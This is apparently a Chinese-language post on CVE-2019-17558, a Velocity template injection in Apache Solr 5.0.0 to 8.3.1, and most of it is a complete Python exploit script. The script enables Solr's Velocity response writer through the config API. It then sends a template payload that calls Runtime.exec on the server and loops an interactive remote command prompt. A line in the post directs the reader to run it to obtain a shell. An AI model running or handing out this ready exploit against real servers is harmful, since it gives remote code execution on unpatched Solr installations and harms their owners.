漏洞描述
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。
执行漏洞py脚本,取得shell连接
F:\exphub-master\solr>python cve-2019-17558_cmd.py
EXP
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
# telegram:t.me/zhzyker
import requests
import sys
import json
if len(sys.argv)!=2:
print('+------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ Apache Solr Velocity Commons Remote Code Execution +')
print('+------------------------------------------------------------+')
print('+ USE: python3 cve-2019-17558_cmd.py <url> +')
print('+ EXP: python3 cve-2019-17558_cmd.py http://1.1.1.1:8983 +')
print('+ VER: Apache Solr 5.0.0 - 8.3.1 +')
print('+------------------------------------------------------------+')
sys.exit(0)
url = sys.argv[1]
core_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
r = requests.request("GET", url=core_url, timeout=10)
core_name = list(json.loads(r.text)["status"])[0]
print ("[+] GET API: "+url+"/solr/"+core_name+"/config")
except:
print ("[-] Target Not Vuln Good Luck")
sys.exit(0)
api_url = url + "/solr/" +core_name+ "/config"
headers = {"Content-Type": "application/json"}
set_api_data ="""
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
"""
api = requests.request("POST", url=api_url, data=set_api_data, headers=headers)
code = str(api.status_code)
if api.status_code == 200:
print ("[+] <HTTP" +code+ "> SET API Success")
else:
print ("[-] <HTTP" +code+ "> SET API Failed Good Luck")
sys.exit(0)
def do_exp(cmd):
vuln_url = url+"/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
r = requests.request("GET", vuln_url)
print (r.text)
while 1:
cmd = input("Shell >>> ")
if cmd == "exit" : exit(0)
do_exp(cmd)